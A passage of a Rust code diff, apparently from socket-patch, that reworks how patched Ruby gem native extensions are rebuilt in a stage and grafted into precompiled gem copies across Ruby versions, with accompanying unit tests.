env, BUILD_TIMEOUT) .await .map_err(StageFailure::Build)?; - let built = tagged_lines(&stdout, "sp_built") + let reported = tagged_lines(&stdout, "sp_built") .into_iter() .find_map(|fields| fields.first().map(PathBuf::from)) .ok_or_else(|| { StageFailure::Build(format!("{}: unreadable build output", probe.ruby.display())) })?; // The one dir RubyGems builds this gem into, inside the stage home. - let label = ext_dir_label(&stage.home, &built); - let parts: Vec<&str> = label.split('/').collect(); - let confined = parts.len() == 4 - && parts[0] == "extensions" - && parts[3] == source.full_name() - && is_safe_relative_subpath(&label); + let label = ext_dir_label(&stage.home, &reported); let extension_dir = stage.home.join(&label); - if !confined || !extension_dir.join(BUILD_COMPLETE).is_file() { + if !is_confined_ext_label(&source.full_name(), &label) + || !extension_dir.join(BUILD_COMPLETE).is_file() + { return Err(StageFailure::Build(format!( "the build exited cleanly but left no finished extension in the stage ({})", - built.display() + reported.display() ))); } - Ok(StagedBuild { + let built = StagedBuild { gem: staged, extension_dir, label, - }) + }; + let products = { + let (built, probe) = (built.clone(), probe.clone()); + crate::utils::fs::run_blocking(move || in_tree_products(&built, &before, &probe)).await + }; + if !products.is_empty() { + return Err(StageFailure::InTree(products)); + } + Ok(built) } /// Move the tree `from` to `to` (which is not there): a rename on one @@ -2930,34 +3403,68 @@ fn plan_graft(copy: &GemCopy, probe: &Probe, staged: &StagedBuild) -> Result std::io::Result { let backup = copy.gem_dir.join(BACKUP_DIR); + let marker = read_marker_sync(©.gem_dir); + let original = |target: &str| { + !marker + .as_ref() + .is_some_and(|m| m.grafted && m.lib_artifacts.contains_key(target)) + }; + let save = |into: &Path, target: &str| -> std::io::Result<()> { + let src = copy.gem_dir.join(target); + let dst = into.join("lib").join(target); + if let Some(parent) = dst.parent() { + std::fs::create_dir_all(parent)?; + } + std::fs::write(&dst, read_regular_to_bytes_sync(&src)?)?; + std::fs::set_permissions(&dst, std::fs::symlink_metadata(&src)?.permissions()) + }; if std::fs::symlink_metadata(&backup).is_ok() { - note_absent_files(&backup, absent)?; + let known = read_regular_to_bytes_sync(&backup.join(BACKUP_INFO)) + .ok() + .and_then(|bytes| serde_json::from_slice::(&bytes).ok()); + if let Some(mut info) = known.filter(|info| info.grafted && is_real_dir(&backup)) { + let before = (info.lib_files.len(), info.absent_files.len()); + for graft in grafts { + if original(&graft.target) && !info.lib_files.contains(&graft.target) { + save(&backup, &graft.target)?; + info.lib_files.push(graft.target.clone()); + } + } + for path in absent { + if !info.absent_files.contains(path) { + info.absent_files.push(path.clone()); + } + } + if before != (info.lib_files.len(), info.absent_files.len()) { + write_backup_info(&backup, &info)?; + } + } return Ok(false); } - if std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() { + // A marker that cannot be read says nothing of which binaries are the + // gem's own. + if marker.is_none() && std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() { + return Ok(false); + } + let fresh: Vec<&Graft> = grafts.iter().filter(|g| original(&g.target)).collect(); + if fresh.is_empty() { return Ok(false); } let stage = copy.gem_dir.join(format!("{BACKUP_DIR}.tmp")); remove_dir_if_exists(&stage)?; std::fs::create_dir_all(&stage)?; - let mut lib_files = Vec::new(); - for graft in grafts { - let src = copy.gem_dir.join(&graft.target); - let dst = stage.join("lib").join(&graft.target); - if let Some(parent) = dst.parent() { - std::fs::create_dir_all(parent)?; - } - std::fs::write(&dst, read_regular_to_bytes_sync(&src)?)?; - std::fs::set_permissions(&dst, std::fs::symlink_metadata(&src)?.permissions())?; - lib_files.push(graft.target.clone()); + for graft in &fresh { + save(&stage, &graft.target)?; } let info = BackupInfo { - lib_files, + lib_files: fresh.iter().map(|g| g.target.clone()).collect(), grafted: true, absent_files: absent.to_vec(), ..BackupInfo::default() @@ -2969,14 +3476,17 @@ fn back_up_prebuilt(copy: &GemCopy, grafts: &[Graft], absent: &[String]) -> std: /// Replace each prebuilt binary with the staged build's ([`replace_file`]: /// a Ruby that has the old one mapped keeps its pages), then record the -/// marker that attests them. A step that fails puts every binary back as -/// it was. +/// marker that attests them. The marker keeps the binaries an earlier +/// graft of the same record replaced for another Ruby, while they are +/// still the built ones. A step that fails puts every binary back as it +/// was. `Ok` lists the prebuilt binaries the graft does not reach +/// ([`ungrafted_binaries`]). fn graft_binaries( copy: &GemCopy, scope: &NativeScope, files: &HashMap, grafts: &[Graft], -) -> std::io::Result<()> { +) -> std::io::Result> { let mut previous: Vec = Vec::new(); for graft in grafts { let path = copy.gem_dir.join(&graft.target); @@ -2987,10 +3497,14 @@ fn graft_binaries( perms, )); } - let grafted = (|| -> std::io::Result<()> { + let earlier = read_marker_sync(©.gem_dir).filter(|m| { + m.grafted && marker_sources_match(m, scope, files) && marker_artifacts_hold(m, copy, scope) + }); + let grafted = (|| -> std::io::Result> { let mut marker = BuildMarker { schema: GRAFT_MARKER_SCHEMA, grafted: true, + lib_artifacts: earlier.map(|m| m.lib_artifacts).unwrap_or_default(), ..BuildMarker::default() }; for key in &scope.inputs { @@ -3008,7 +3522,8 @@ fn graft_binaries( .lib_artifacts .insert(graft.target.clone(), compute_file_git_sha256_sync(&path)?); } - write_marker(copy, &marker) + write_marker(copy, &marker)?; + Ok(ungrafted_binaries(&marker, copy)) })(); if grafted.is_err() { for (target, bytes, perms) in &previous { @@ -3054,6 +3569,28 @@ async fn files_as_installed( (out, absent) } +/// The platform of the gem copy at `pkg_path` when it is a platform gem's +/// (`arm64-darwin`, `x86_64-linux-gnu`, `java`), as its dir name and +/// gemspec text say. `None` for a `ruby`-platform copy and for a dir that +/// is no RubyGems install. +pub async fn copy_platform(pkg_path: &Path) -> Option { + let copy = GemCopy::of(pkg_path)?; + let spec_text = crate::utils::fs::read_regular_to_string(©.spec_path) + .await + .ok()?; + SpecFacts::of(&spec_text, ©.full_name).platform +} + +/// Whether the manifest record `key` (a purl) is the one written for gems +/// of `platform`: its `platform` qualifier names it. RubyGems spells the +/// glibc Linux platform with and without `-gnu`, by version; the two are +/// one platform. +pub fn names_platform(key: &str, platform: &str) -> bool { + let plain = |p: &str| p.to_ascii_lowercase().trim_end_matches("-gnu").to_string(); + crate::utils::purl::purl_qualifier(key, "platform") + .is_some_and(|named| plain(named) == plain(platform)) +} + /// The files of the record `key` (a manifest purl) that can tell whether the /// gem copy at `pkg_path` is the distribution the record was written for. /// A release variant is matched to an installed copy by a file it replaces @@ -3462,12 +3999,7 @@ pub async fn apply_gem_package_patch( ) }; // What files alone tell: a build to replace and a Ruby to try. - let preflight = if precompiled { - graft_preflight(©, env).await - } else { - rebuild_preflight(©, env).await - }; - let preflight = match preflight { + let preflight = match rebuild_preflight(©, env, precompiled).await { Ok(p) => p, Err(why) => return unbuildable(why), }; @@ -3600,11 +4132,7 @@ pub async fn apply_gem_package_patch( }; } - let found = match &scope.precompiled { - Some(platform) => find_platform_ruby(©, env, preflight, platform).await, - None => find_ruby(©, env, preflight).await, - }; - let probe = match found { + let probe = match find_ruby(©, env, preflight, scope.precompiled.as_deref()).await { Ok(p) => p, Err(why) => return unbuildable(why), }; @@ -3622,33 +4150,98 @@ pub async fn apply_gem_package_patch( inputs: &inputs, }; + // A precompiled copy whose binary for this Ruby was already replaced by + // a build of these sources has nothing left to build here: what keeps + // it from being attested is the binaries it ships for other Rubies. + if precompiled { + let grafted = { + let (copy, scope, files) = (copy.clone(), scope.clone(), files.clone()); + let minor = probe.facts.as_ref().and_then(RubyFacts::minor); + crate::utils::fs::run_blocking(move || { + minor.and_then(|minor| ungrafted_after(©, &scope, &files, &minor)) + }) + .await + }; + if let Some(ungrafted) = grafted { + let mut applied = plain_apply( + read_scope, + package_key, + pkg_path, + &installed_files, + sources, + false, + policy, + ) + .await; + if applied.result.success { + applied.warning = other_rubies_warning(package_key, ©, &ungrafted); + } + return applied; + } + } + // The source gem holds every build input, where the installed copy may // not (a build deletes what it no longer needs; a precompiled gem never // shipped them): the extension is rebuilt from it when it can be had. - let Some(source) = &source else { - return rebuild_in_place(&job, &probe, &absent, &unnamed(), None).await; + let record = StagedRecord { + read_scope, + package_key, + pkg_path, + scope: &scope, + files, + sources, }; - match gems.archive(©.home, source).await { - Ok(archive) => { - match rebuild_from_source_gem(&job, &probe, source, archive, &gems, &absent).await { - Ok(applied) => applied, - Err(why) if precompiled => needs_source_gem(Some(source), why, false), - // Not an archive this copy can be rebuilt from: its own - // tree is what is left to build. - Err(why) => rebuild_in_place(&job, &probe, &absent, &why, None).await, + let staged = match &source { + None => Err(StageFailure::NoArchive(unnamed())), + Some(source) => match gems.archive(©.home, source).await { + Err(why) => Err(StageFailure::NoArchive(why)), + Ok(archive) => { + build_from_source_gem(©, &probe, source, archive, &gems, env, Some(&record)) + .await } + }, + }; + let failure = match staged { + Ok((stage, built)) => { + let applied = if precompiled { + graft_into_copy(&job, &probe, &built, &absent).await + } else { + move_into_copy(&job, &probe, &built, &absent).await + }; + close_stage(stage, ©).await; + return applied; } - Err(why) if precompiled => needs_source_gem(Some(source), why, true), - Err(why) => { - let remedy = gems.remedy(©.home, source); - rebuild_in_place(&job, &probe, &absent, &why, Some(&remedy)).await + Err(failure) => failure, + }; + let remedy = match (&failure, &source) { + (StageFailure::NoArchive(_), Some(source)) => Some(gems.remedy(©.home, source)), + _ => None, + }; + match failure { + // Another run is building this gem: nothing else is tried. + StageFailure::Busy(why) => unbuildable(why), + // A gem RubyGems built can still be built where it is installed, + // as it was before there was a stage: nothing was written yet. + failure if !precompiled => { + rebuild_in_place(&job, &probe, &absent, &failure, remedy.as_deref()).await } + StageFailure::Build(diagnostic) => refusal( + package_key, + pkg_path, + BUILD_FAILED_CODE, + format!( + "the native extension did not build from the patched sources ({inputs}); \ + nothing of the installed gem was changed. Install a compiler toolchain and \ + the Ruby headers and apply again.\n{diagnostic}" + ), + ), + failure => needs_source_gem(source.as_ref(), failure.describe(), remedy.is_some()), } } /// The refusal of a record that changes build inputs the installed copy of -/// a gem RubyGems built no longer holds (`absent`), when the source gem -/// that packs them cannot be had (`why`). +/// a gem RubyGems built no longer holds (`absent`), when the extension +/// cannot be rebuilt from the source gem that packs them (`why`). fn absent_inputs_detail( inputs: &str, absent: &[String], @@ -3665,9 +4258,10 @@ fn absent_inputs_detail( } /// Write the patched sources and rebuild the extension from the installed -/// copy's own tree ([`rebuild`]): what is left when its source gem cannot -/// be had (`no_source_gem` says why, `remedy` what would get it). A failed -/// build puts the sources and the previous build back. A record that +/// copy's own tree ([`rebuild`]): what is left to a gem RubyGems built when +/// it could not be rebuilt from its source gem (`staged` says why, `remedy` +/// what would get the archive). A failed build puts the sources and the +/// previous build back, and its error names both failures. A record that /// changes a build input the copy no longer holds (`absent`) cannot be /// built this way: nothing here has the file's content to check the record /// against. @@ -3675,13 +4269,13 @@ async fn rebuild_in_place( job: &Job<'_>, probe: &Probe, absent: &[String], - no_source_gem: &str, + staged: &StageFailure, remedy: Option<&str>, ) -> GemApplied { if !absent.is_empty() { return job.refuse( UNSUPPORTED_CODE, - absent_inputs_detail(job.inputs, absent, no_source_gem, remedy), + absent_inputs_detail(job.inputs, absent, &staged.describe(), remedy), ); } let originals = job.originals().await; @@ -3697,19 +4291,24 @@ async fn rebuild_in_place( Err(diagnostic) => { // An installed tree may no longer hold what its build needs // (nokogiri's deletes `ports/`): the source gem would. - let from_own_tree = match remedy { - Some(remedy) => format!( + let remedy = remedy.map(|r| format!(" {r}")).unwrap_or_default(); + let both = match staged { + StageFailure::Build(first) => format!( + " A rebuild from its source gem was tried first and failed \ + too:\n{first}\nThen, from the installed gem's own files:" + ), + other => format!( " It was built from the installed gem's own files, which a build can \ - leave incomplete, because its source gem could not be had \ - ({no_source_gem}). {remedy}" + leave incomplete, because it could not be rebuilt from its source gem \ + ({}).{remedy}", + other.describe() ), - None => String::new(), }; let detail = format!( "the native extension did not build from the patched sources ({}); the \ sources and the previous build were put back. Install a compiler toolchain \ and the Ruby headers and apply again, or use `socket-patch scan --mode \ - hosted`.{from_own_tree}\n{diagnostic}", + hosted`.{both}\n{diagnostic}", job.inputs ); job.not_built(result, &originals, detail).await @@ -3717,140 +4316,71 @@ async fn rebuild_in_place( } } -/// Rebuild the copy's extension from its source gem (`archive`, the gem -/// `source`), with the record's files laid over it in a stage, and put the -/// build in the installed copy's place. The installed copy is not touched -/// until the build has finished. `Err` when the archive is not one the -/// copy can be rebuilt from (it is another gem, or declares no -/// extensions): nothing was built or written. -async fn rebuild_from_source_gem( +/// Put a staged build into a copy RubyGems built: its sources are written +/// in place, and the staged build takes the place of its extension dir +/// ([`install_staged_build`]). A step that fails leaves the copy as it was. +async fn move_into_copy( job: &Job<'_>, probe: &Probe, - source: &GemId, - archive: Vec, - gems: &GemSource, - absent: &[String], -) -> Result { - let stage = { - let copy = job.copy.clone(); - crate::utils::fs::run_blocking(move || open_stage(©)).await - }; - let stage = match stage { - Ok(stage) => stage, - Err(why) => { - return Ok(job.refuse( - UNSUPPORTED_CODE, - format!( - "the patch changes native-extension sources ({}), which only take effect \ - once the extension is rebuilt, and it cannot be rebuilt here: {why}; \ - nothing was written.", - job.inputs - ), - )) - } - }; - let outcome = rebuild_in_stage(job, probe, source, archive, gems, absent, &stage).await; - close_stage(stage, job.copy).await; - outcome -} - -/// [`rebuild_from_source_gem`], inside its open stage. -async fn rebuild_in_stage( - job: &Job<'_>, - probe: &Probe, - source: &GemId, - archive: Vec, - gems: &GemSource, + built: &StagedBuild, absent: &[String], - stage: &Stage, -) -> Result { - let (copy, inputs) = (job.copy, job.inputs); - let staged = unpack_in_stage(copy, probe, source, archive, stage, job.env).await?; - // The record over the pristine source gem, before anything runs. - let blobs = stage_blobs(job.pkg_path, job.files, job.sources).await; - let staged_sources = PatchSources { - blobs_path: job.sources.blobs_path, - mem_blobs: Some(&blobs), - }; - let patched = patch_staged_gem( - job.read_scope, - job.package_key, - &staged, - job.scope, - job.files, - &staged_sources, - ) - .await; - if let Err(why) = patched { - return Ok(job.refuse( - UNSUPPORTED_CODE, - format!( - "the patch changes native-extension sources ({inputs}), which only take \ - effect once the extension is rebuilt from the source gem ({}.gem), and the \ - patch does not apply to that gem: {why}; nothing was written.", - source.full_name() - ), - )); - } - let built = match build_staged(copy, probe, source, staged, stage, gems, job.env).await { - Ok(built) => built, - Err(StageFailure::Dependencies(why)) => { - return Ok(job.refuse( - UNSUPPORTED_CODE, - format!( - "the patch changes native-extension sources ({inputs}), which only take \ - effect once the extension is rebuilt, and it cannot be rebuilt here: \ - {why}; nothing was written." - ), - )) - } - Err(StageFailure::Build(diagnostic)) => { - let detail = format!( - "the native extension did not build from the patched sources ({inputs}); \ - nothing of the installed gem was changed. Install a compiler toolchain and \ - the Ruby headers and apply again.\n{diagnostic}" - ); - return Ok(job.refuse(BUILD_FAILED_CODE, detail)); - } - }; - - if job.scope.precompiled.is_some() { - return Ok(graft_into_copy(job, probe, &built, absent).await); - } - // A gem RubyGems built: its sources are written in place, and the - // staged build takes the place of its extension dir. +) -> GemApplied { let originals = job.originals().await; let result = job.write_sources(&originals).await; if !result.success { - return Ok(GemApplied { + return GemApplied { result, warning: None, - }); + }; } let installed = { - let (copy, probe, scope) = (copy.clone(), probe.clone(), job.scope.clone()); + let (copy, probe, scope) = (job.copy.clone(), probe.clone(), job.scope.clone()); let (files, built, absent) = (job.files.clone(), built.clone(), absent.to_vec()); crate::utils::fs::run_blocking(move || { install_staged_build(©, &probe, &scope, &files, &built, Some(&absent)) }) .await }; - Ok(match installed { + match installed { Ok(()) => job.built(result), Err(why) => { let detail = format!( - "the native extension was rebuilt from the patched sources ({inputs}), but \ - {why}; the sources and the previous build were put back." + "the native extension was rebuilt from the patched sources ({}), but {why}; \ + the sources and the previous build were put back.", + job.inputs ); job.not_built(result, &originals, detail).await } + } +} + +/// The warning of a precompiled copy whose graft does not reach every +/// prebuilt binary a Ruby could load from its gem home (`ungrafted`): +/// `None` when it reaches them all. +fn other_rubies_warning( + package_key: &str, + copy: &GemCopy, + ungrafted: &[String], +) -> Option<(String, String)> { + (!ungrafted.is_empty()).then(|| { + ( + NOT_REBUILT_REASON.to_string(), + format!( + "{package_key}: its extension was rebuilt for the Ruby that ran this, but the \ + gem also ships prebuilt binaries for other Ruby versions ({}), and nothing \ + ties the gem home {} to one Ruby; run `socket-patch apply` under each Ruby \ + that uses it. Until every one is rebuilt, vex does not attest the patch", + ungrafted.join(", "), + copy.home.display() + ), + ) }) } /// Put a staged build into a precompiled copy: the record's files are -/// written into the copy, and each prebuilt binary Ruby loads is replaced -/// by the build's ([`plan_graft`]), after the originals are backed up. A -/// step that fails leaves the copy as it was. +/// written into the copy, and each prebuilt binary the owning Ruby loads is +/// replaced by the build's ([`plan_graft`]), after the originals are backed +/// up. A step that fails leaves the copy as it was. async fn graft_into_copy( job: &Job<'_>, probe: &Probe, @@ -3910,7 +4440,14 @@ async fn graft_into_copy( crate::utils::fs::run_blocking(move || graft_binaries(©, &scope, &files, &grafts)).await }; match grafted { - Ok(()) => job.built(result), + Ok(ungrafted) => { + let mut applied = job.built(result); + // The binaries of other Rubies outrank the note on a rebuild. + if let Some(warning) = other_rubies_warning(job.package_key, copy, &ungrafted) { + applied.warning = Some(warning); + } + applied + } Err(e) => { drop_new_backup().await; let detail = format!( @@ -4016,8 +4553,8 @@ pub async fn restore_original_build(pkg_path: &Path, env: &RubyEnv) -> Result find_ruby(©, env, preflight).await, + let found = match rebuild_preflight(©, env, false).await { + Ok(preflight) => find_ruby(©, env, preflight, None).await, Err(why) => Err(why), }; let probe = found.map_err(|why| { @@ -4047,8 +4584,8 @@ pub async fn restore_original_build(pkg_path: &Path, env: &RubyEnv) -> Result stage, - Err(why) => return Some(Err(why)), - }; - let outcome = async { - let staged = unpack_in_stage(copy, probe, &source, archive, &stage, env) - .await - .ok()?; - let built = match build_staged(copy, probe, &source, staged, &stage, &gems, env).await { - Ok(built) => built, - Err(StageFailure::Dependencies(why) | StageFailure::Build(why)) => { - return Some(Err(why)) - } + let (stage, built) = + match build_from_source_gem(copy, probe, &source, archive, &gems, env, None).await { + Ok(staged) => staged, + Err(StageFailure::Busy(why)) => return Some(Err(why)), + Err(_) => return None, }; + let moved_in = { let (copy, probe) = (copy.clone(), probe.clone()); - Some( - crate::utils::fs::run_blocking(move || { - let scope = NativeScope::default(); - install_staged_build(©, &probe, &scope, &HashMap::new(), &built, None) - }) - .await, - ) - } - .await; + crate::utils::fs::run_blocking(move || { + let scope = NativeScope::default(); + install_staged_build(©, &probe, &scope, &HashMap::new(), &built, None) + }) + .await + }; close_stage(stage, copy).await; - outcome + Some(moved_in) } /// Put the backed-up original build back over socket-patch's build, then @@ -4371,6 +4894,10 @@ mod tests { } } + fn first_require_path(spec_text: &str) -> Option { + parse_require_paths(spec_text).and_then(|paths| paths.into_iter().next()) + } + /// The require path is read from the `to_ruby` text RubyGems installs, /// stub comment and all, and defaults to RubyGems' `lib`. #[test] @@ -4378,7 +4905,7 @@ mod tests { let to_ruby = "# -*- encoding: utf-8 -*-\n# stub: a 1 ruby other\n\n\ Gem::Specification.new do |s|\n s.name = \"a\".freeze\n \ s.require_paths = [\"ext/lib\".freeze, \"lib\".freeze]\nend\n"; - assert_eq!(parse_require_path(to_ruby).as_deref(), Some("ext/lib")); + assert_eq!(first_require_path(to_ruby).as_deref(), Some("ext/lib")); for (spec, expected) in [ ("s.require_paths = ['lib']\n", Some("lib")), ("s.name = \"a\"\n", Some("lib")), @@ -4387,7 +4914,7 @@ mod tests { ("s.require_paths_extra = [\"x\"]\n", Some("lib")), ("s.require_paths = PATHS\n", None), ] { - assert_eq!(parse_require_path(spec).as_deref(), expected, "{spec}"); + assert_eq!(first_require_path(spec).as_deref(), expected, "{spec}"); } } @@ -4438,7 +4965,7 @@ mod tests { preflight: &Preflight, ) -> Result { loop { - match find_ruby(copy, env, preflight.clone()).await { + match find_ruby(copy, env, preflight.clone(), None).await { Err(why) if why.contains("os error 26") => { tokio::time::sleep(Duration::from_millis(20)).await; } @@ -4467,7 +4994,7 @@ mod tests { let mut preflight = Preflight { installed: installed_extension_dirs(©), candidates: vec![ruby.clone()], - require_path: "lib".to_string(), + require_paths: vec!["lib".to_string()], }; assert_eq!(preflight.installed, [home.join("extensions/p/3.4.0/a-1")]); @@ -4504,13 +5031,13 @@ mod tests { for require_path in ["../../elsewhere", "/abs"] { let home = tmp.path().join(require_path.replace(['/', '.'], "_")); let copy = installed_gem(&home, require_path); - let why = rebuild_preflight(©, &env).await.unwrap_err(); + let why = rebuild_preflight(©, &env, false).await.unwrap_err(); assert!(why.contains("require path"), "{require_path}: {why}"); } let home = tmp.path().join("unbuilt"); let copy = installed_gem(&home, "lib"); std::fs::remove_dir_all(home.join("extensions")).unwrap(); - let why = rebuild_preflight(©, &env).await.unwrap_err(); + let why = rebuild_preflight(©, &env, false).await.unwrap_err(); assert!(why.contains("no compiled extension dir"), "{why}"); } @@ -4531,7 +5058,7 @@ mod tests { offline: true, }; // Without a `ruby` on PATH the preflight still refuses, for that. - match rebuild_preflight(©, &env).await { + match rebuild_preflight(©, &env, false).await { Ok(preflight) => assert_eq!(preflight.installed, [ext]), Err(why) => assert!(why.contains("no `ruby` was found"), "{why}"), } @@ -4649,6 +5176,7 @@ mod tests { gem_dir: copy.gem_dir.clone(), extension_dir: ext.clone(), require_path: "lib".to_string(), + require_paths: vec!["lib".to_string()], lib_dir: copy.gem_dir.join("lib"), facts: None, }; @@ -5092,11 +5620,127 @@ mod tests { &files(&["CMakeLists.txt", "NOTES.txt", "Rakefile", "lib/a.rb"]), ); assert_eq!(scope.inputs, ["CMakeLists.txt", "Rakefile"]); + // Requiring from the root does not make a data file plain; a Ruby + // file there is still Ruby's to load as it is. let rooted = SpecFacts { require_paths: vec![".".to_string()], ..built_gem(&["ext/a/extconf.rb"]) }; - assert_eq!(classify(&rooted, &files(&["a.rb"])).inputs, ["a.rb"]); + assert_eq!( + classify(&rooted, &files(&["a.rb", "tables.dat"])).inputs, + ["tables.dat"] + ); + } + + /// passenger keeps Ruby it runs outside its require path, and its one + /// extension's script in a dir of its own: a record that changes only + /// such Ruby, a type signature, a rake task or a test needs no + /// compiler. What the build reads and compiles is still an input. + #[test] + fn classify_runtime_ruby_outside_the_require_paths() { + let passenger = SpecFacts { + extensions: ExtensionDecl { + declared: true, + entries: vec!["src/helper-scripts/download_binaries/extconf.rb".to_string()], + }, + require_paths: vec!["src/ruby_supportlib".to_string()], + ..SpecFacts::default() + }; + let plain = [ + "src/helper-scripts/rack-loader.rb", + "src/helper-scripts/prespawn", + "src/ruby_supportlib/phusion_passenger/loader_shared_helpers.rb", + "sig/passenger.rbs", + "tasks/build.rake", + "build/support/general.rb", + "t/helper.rb", + "t/fixtures/app.json", + "passenger.gemspec", + "config.ru", + ]; + let built = [ + "Rakefile", + "src/agent/Core/Config.h", + "src/cxx_supportlib/oxt/thread.cpp", + "src/helper-scripts/download_binaries/extconf.rb", + "src/helper-scripts/download_binaries/helper.rb", + "src/ruby_native_extension/extconf.rb", + "src/schema.yml", + ]; + let all: Vec<&str> = plain.iter().chain(&built).copied().collect(); + let scope = classify(&passenger, &files(&all)); + // An extension-less file in a dir nothing vouches for (`prespawn`) + // is not known to be Ruby: it stays an input. + let mut expected: Vec<&str> = built.to_vec(); + expected.push("src/helper-scripts/prespawn"); + expected.sort(); + assert_eq!(scope.inputs, expected); + let ruby_only = classify( + &passenger, + &files(&["src/helper-scripts/rack-loader.rb", "sig/passenger.rbs"]), + ); + assert!(ruby_only.inputs.is_empty(), "{:?}", ruby_only.inputs); + + // A gem whose extension rake builds: its rake files are the build. + for script in ["ext/Rakefile", "ext/a/mkrf_conf.rb"] { + let raked = built_gem(&[script]); + let scope = classify( + &raked, + &files(&[ + "tasks/compile.rake", + "lib/a.rb", + "sig/a.rbs", + "support/gen.rb", + ]), + ); + assert_eq!(scope.inputs, ["tasks/compile.rake"], "{script}"); + } + let made = built_gem(&["ext/a/extconf.rb"]); + assert!(classify(&made, &files(&["tasks/compile.rake"])) + .inputs + .is_empty()); + } + + /// A copy an earlier release rebuilt has a marker that lists the + /// sources that release took for build inputs. A record whose scope is + /// wider now (a libxml2 patch file beside a C source) is not attested + /// by it: `apply` rebuilds, and the new marker lists them all. + #[test] + fn a_marker_with_fewer_sources_than_the_scope_attests_nothing() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path(); + let copy = installed_gem(home, "lib"); + let ext = home.join("extensions/p/3.4.0/a-1/a"); + std::fs::create_dir_all(&ext).unwrap(); + std::fs::write(ext.join("a.so"), b"built").unwrap(); + let hash = compute_git_sha256_from_bytes(b"built"); + let after = "c".repeat(64); + let record: HashMap = [ + ("ext/a/a.c".to_string(), info(&after)), + ("patches/0100-fix.patch".to_string(), info(&after)), + ] + .into(); + let facts = built_gem(&["ext/a/extconf.rb"]); + let scope = classify(&facts, &record); + assert_eq!(scope.inputs, ["ext/a/a.c", "patches/0100-fix.patch"]); + // What 5.1.0 recorded: the C source alone. + let narrow = BuildMarker { + schema: MARKER_SCHEMA, + sources: [("ext/a/a.c".to_string(), after.clone())].into(), + extension_dir: "extensions/p/3.4.0/a-1".into(), + ext_artifacts: [("a/a.so".to_string(), hash)].into(), + ..BuildMarker::default() + }; + assert!(!marker_holds(&narrow, ©, &scope, &record)); + let full = BuildMarker { + sources: [ + ("ext/a/a.c".to_string(), after.clone()), + ("patches/0100-fix.patch".to_string(), after), + ] + .into(), + ..narrow.clone() + }; + assert!(marker_holds(&full, ©, &scope, &record)); } /// The platform is the dir name's suffix after `-`, or @@ -5205,6 +5849,7 @@ mod tests { gem_dir: copy.gem_dir.clone(), extension_dir: copy.home.join("extensions/p/3.4.0").join(©.full_name), require_path: "lib".to_string(), + require_paths: vec!["lib".to_string()], lib_dir: copy.gem_dir.join("lib"), facts: Some(RubyFacts { ruby_version: ruby_version.to_string(), @@ -5292,7 +5937,8 @@ mod tests { #[tokio::test] async fn a_grafted_copy_is_attested_and_rolled_back() { let tmp = tempfile::tempdir().unwrap(); - let home = tmp.path().join("home"); + // A home laid out for one Ruby: only its binary is ever loaded. + let home = tmp.path().join("vendor/bundle/ruby/3.4.0"); let copy = precompiled_gem(&home); let target = copy.gem_dir.join("lib/a/3.4/a.bundle"); #[cfg(unix)] @@ -5395,7 +6041,7 @@ mod tests { #[test] fn a_marker_of_the_wrong_kind_attests_nothing() { let tmp = tempfile::tempdir().unwrap(); - let copy = precompiled_gem(&tmp.path().join("home")); + let copy = precompiled_gem(&tmp.path().join("ruby/3.4.0")); let after = "c".repeat(64); let record: HashMap = [("ext/a/a.c".to_string(), info(&after))].into(); @@ -5492,6 +6138,7 @@ mod tests { gem_dir: copy.gem_dir.clone(), extension_dir: ext.clone(), require_path: "lib".to_string(), + require_paths: vec!["lib".to_string()], lib_dir: copy.gem_dir.join("lib"), facts: None, }; @@ -5580,7 +6227,9 @@ mod tests { let stage = open_stage(©).unwrap(); let refused = sweep_stale_stage(©).unwrap_err(); assert_eq!(refused.kind(), std::io::ErrorKind::WouldBlock); - let why = open_stage(©).err().unwrap(); + let busy = open_stage(©).err().unwrap(); + assert!(matches!(busy, StageFailure::Busy(_)), "{busy:?}"); + let why = busy.describe(); assert!(why.contains("right now"), "{why}"); assert!(stage.home.is_dir()); drop(stage); @@ -5600,7 +6249,7 @@ mod tests { let elsewhere = tmp.path().join("elsewhere"); std::fs::create_dir_all(&elsewhere).unwrap(); std::os::unix::fs::symlink(&elsewhere, home.join(BUILD_STAGE_DIR)).unwrap(); - let why = open_stage(©).err().unwrap(); + let why = open_stage(©).err().unwrap().describe(); assert!(why.contains("is not a directory"), "{why}"); assert_eq!(std::fs::read_dir(&elsewhere).unwrap().count(), 0); } @@ -5627,7 +6276,7 @@ mod tests { ruby } - /// [`find_platform_ruby`] over a script written a moment ago + /// [`find_ruby`] for a precompiled copy, over a script written a moment ago /// ([`find_fresh_ruby`] says why it is tried again). #[cfg(unix)] async fn find_fresh_platform_ruby( @@ -5636,7 +6285,7 @@ mod tests { preflight: &Preflight, ) -> Result { loop { - match find_platform_ruby(copy, env, preflight.clone(), "arm64-darwin").await { + match find_ruby(copy, env, preflight.clone(), Some("arm64-darwin")).await { Err(why) if why.contains("os error 26") => { tokio::time::sleep(Duration::from_millis(20)).await; } @@ -5669,7 +6318,7 @@ mod tests { Preflight { installed, candidates, - require_path: "lib".to_string(), + require_paths: vec!["lib".to_string()], } }; @@ -5816,7 +6465,7 @@ mod tests { is_symlink(&home.join(BUILD_STAGE_DIR)), "{case}: the link is left" ); - let why = open_stage(©).err().unwrap(); + let why = open_stage(©).err().unwrap().describe(); assert!(why.contains("is not a directory"), "{case}: {why}"); assert!(copy.gem_dir.join("lib/a.rb").is_file(), "{case}"); assert!(outside.join("a-1/keep").is_file(), "{case}"); @@ -5878,4 +6527,340 @@ mod tests { std::fs::create_dir_all(&root).unwrap(); assert!(!unlocked_stage_is_dead(&root)); } + + /// A grafted marker attests only when no prebuilt binary a Ruby could + /// load from the gem home is left unpatched. A home laid out for one + /// Ruby loads that Ruby's binary alone. A home tied to none can be + /// used by any Ruby the gem ships a binary for: each must run `apply`, + /// which grafts its own binary and keeps the others', and only then + /// is the copy attested. Rollback restores every one. + #[tokio::test] + async fn a_home_shared_by_rubies_is_attested_once_every_binary_is_grafted() { + let tmp = tempfile::tempdir().unwrap(); + // No ABI in its name, no compiled gem in it: any Ruby's home. + let home = tmp.path().join("gems-home"); + let copy = precompiled_gem(&home); + assert_eq!(home_minor(©), None); + let (for_33, for_34) = ( + copy.gem_dir.join("lib/a/3.3/a.bundle"), + copy.gem_dir.join("lib/a/3.4/a.bundle"), + ); + let after = "c".repeat(64); + let record: HashMap = [( + "ext/a/a.c".to_string(), + PatchFileInfo { + before_hash: compute_git_sha256_from_bytes(b"int a;"), 